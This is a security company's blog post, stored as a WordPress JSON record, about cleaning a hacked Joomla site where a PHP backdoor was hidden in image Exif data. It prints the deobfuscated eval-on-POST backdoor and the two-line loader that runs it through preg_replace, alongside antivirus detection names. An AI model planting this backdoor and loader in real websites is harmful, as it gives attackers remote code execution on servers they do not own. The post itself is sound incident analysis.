{"id":2097,"date":"2014-07-07T14:43:26","date_gmt":"2014-07-07T20:43:26","guid":{"rendered":"http:\/\/www.whitefirdesign.com\/blog\/?p=2097"},"modified":"2014-07-07T14:43:27","modified_gmt":"2014-07-07T20:43:27","slug":"hackers-hiding-malicious-code-in-exif-data-of-images","status":"publish","type":"post","link":"https:\/\/www.whitefirdesign.com\/blog\/2014\/07\/07\/hackers-hiding-malicious-code-in-exif-data-of-images\/","title":{"rendered":"Hackers Hiding Malicious Code in Exif Data of Images"},"content":{"rendered":"<p>We don&#8217;t write\u00a0much on what hackers do with websites once they hacked them since the focus of security companies should be on making sure that website don&#8217;t get hacked in the first place, which wouldn&#8217;t be hard to do if the companies were interested in that, but sometimes hackers are doing something worth discussing.<\/p>\n<p>Hackers use various methods to try to hide the malicious code they add to websites. Oftentimes they obfuscate the code in some way, though this often makes it easier to spot the malicious code since very little legitimate code on a website would be similarly obfuscated. While cleaning a website recently we dealt\u00a0malicious code that was one hand better hidden to some detection methods, but on the other hand caused the fact the website was hacked to be identified when it hadn&#8217;t been otherwise identified for some time. The website in question had been repeatedley hacked through the <a title=\"Most Hackers Won\u2019t Bother Checking What Version of Software Is in Use On a Website\" href=\"http:\/\/www.whitefirdesign.com\/blog\/2014\/02\/04\/most-hackers-wont-bother-checking-what-version-of-software-is-in-use-on-a-website\/\">exploitation of a vulnerability in an outdated version of the Joomla extensions JCE<\/a>. Once one of the hackers had gained access to the website they placed\u00a0malicious code into the <a href=\"http:\/\/en.wikipedia.org\/wiki\/Exchangeable_image_file_format\">Exif<\/a> data, which\u00a0stores information on the camera that took the photo, of existing images on the website.\u00a0The hacker replaced the existing data on the camera maker and model with malicious code:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2101\" src=\"https:\/\/www.whitefirdesign.com\/blog\/wp-content\/uploads\/2014\/07\/malicious-exif-data.png\" alt=\"Malicious Code in Exif Data\" width=\"300\" height=\"100\" \/><\/p>\n<p>When <a href=\"http:\/\/www.whitefirdesign.com\/tools\/deobfuscate-php-hack-code.html\">deobfuscated<\/a> the full code in the model tag reads:<\/p>\n<blockquote><p>if (isset($_POST[&#8220;zz1&#8221;])) {eval(stripslashes($_POST[&#8220;zz1&#8221;]));}<\/p><\/blockquote>\n<p>That code would evaluate (run) the data sent with\u00a0POST variable zz1.<\/p>\n<p>On its own the image file\u00a0is harmless since the web server will not run the code stored in the Exif data, so a second file is used in conjunction with the image file. In this case the file consisted of two lines of code:<\/p>\n<blockquote><p>&lt;?php<br \/>\n$exif = exif_read_data(&#8216;\/[redacted]\/templates\/ja_purity\/images\/header\/header4.jpg&#8217;);<br \/>\npreg_replace($exif[&#8216;Make&#8217;],$exif[&#8216;Model&#8217;],&#8221;);<br \/>\n?&gt;<\/p><\/blockquote>\n<p>The first line reads the Exif data and the second executes the code stored in the image. The code looks rather harmless by itself, so it could easily be missed when checking for malicious code.<\/p>\n<p>If a malicious code scanner doesn&#8217;t\u00a0check the Exif data of image files then the malicious code could unnoticed in that as well. In this case the malicious code was detected not by something scanning the server, but by desktop antivirus software checking as the website was being visited by normal users. When we were first contacted about the website we were somewhat confused about why it would be setting anti-virus software because we were not being served any malware by the website and the only outward impact of the hack was some hidden spam links, which usually don&#8217;t set off anti-virus software. Once we got in to clean it up we found the malicious code in some image file&#8217;s Exif data and were able to figure out what was going on.<\/p>\n<p>Running <a href=\"https:\/\/www.virustotal.com\/en\/file\/449e585b65fdd40563de2ab8a3fa7233a588729df45f5a0dfcde3c5749652251\/analysis\/1404761786\/\">an image file with the modifications made by the hacker to the Exif data through VirusTotal<\/a> shows that 21 of the 53 virus scanners they check currently identify the malicious code (shown below). Of those, 13 include PHP in their label which makes identifying what is going easier than other likes Symantec, which simply lists it as a &#8220;Trojan Horse&#8221;.<\/p>\n<p><strong>AVG:<\/strong> PHP\/Small.A<br \/>\n<strong>Ad-Aware:<\/strong> Trojan.PHP.Agent.GA<br \/>\n<strong>AntiVir:<\/strong> PHP\/Agent.xadx<br \/>\n<strong>Avast:<\/strong> JPG:PHPAgent-A [Trj]<br \/>\n<strong>BitDefender:<\/strong> Trojan.PHP.Agent.GA<br \/>\n<strong>CAT-QuickHeal:<\/strong> JPEG.Trojan.Agent.GA<br \/>\n<strong>Emsisoft:<\/strong> Trojan.PHP.Agent.GA (B)<br \/>\n<strong>F-Secure:<\/strong> Trojan.PHP.Agent.GA<br \/>\n<strong>GData:<\/strong> Trojan.PHP.Agent.GA<br \/>\n<strong>Ikarus:<\/strong> Backdoor.PHP.Agent<br \/>\n<strong>Kaspersky:<\/strong> Trojan.PHP.Agent.dn<br \/>\n<strong>McAfee:<\/strong> Generic BackDoor.agb<br \/>\n<strong>McAfee-GW-Edition:<\/strong> Generic BackDoor.agb<br \/>\n<strong>MicroWorld-eScan:<\/strong> Trojan.PHP.Agent.GA<br \/>\n<strong>Microsoft:<\/strong> Backdoor:PHP\/Small.J<br \/>\n<strong>NANO-Antivirus:<\/strong> Trojan.Jpg.Agent.cgxikf<br \/>\n<strong>Norman:<\/strong> Backdoor.CDG<br \/>\n<strong>Symantec:<\/strong> Trojan Horse<br \/>\n<strong>TrendMicro:<\/strong> BKDR_ZZPEG.SM<br \/>\n<strong>TrendMicro-HouseCall:<\/strong> BKDR_ZZPEG.SM<br \/>\n<strong>nProtect<\/strong>\u00a0:Trojan.PHP.Agent.GA<\/p>\n","protected":false},"excerpt":{"rendered":"<p>We don&#8217;t write\u00a0much on what hackers do with websites once they hacked them since the focus of security companies should be on making sure that website don&#8217;t get hacked in the first place, which wouldn&#8217;t be hard to do if the companies were interested in that, but sometimes hackers are doing something worth discussing. Hackers &hellip; <a href=\"https:\/\/www.whitefirdesign.com\/blog\/2014\/07\/07\/hackers-hiding-malicious-code-in-exif-data-of-images\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Hackers Hiding Malicious Code in Exif Data of Images&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[27],"tags":[],"class_list":["post-2097","post","type-post","status-publish","format-standard","hentry","category-website-hacked"],"_links":{"self":[{"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/posts\/2097","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/comments?post=2097"}],"version-history":[{"count":8,"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/posts\/2097\/revisions"}],"predecessor-version":[{"id":2106,"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/posts\/2097\/revisions\/2106"}],"wp:attachment":[{"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/media?parent=2097"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/categories?post=2097"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.whitefirdesign.com\/blog\/wp-json\/wp\/v2\/tags?post=2097"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}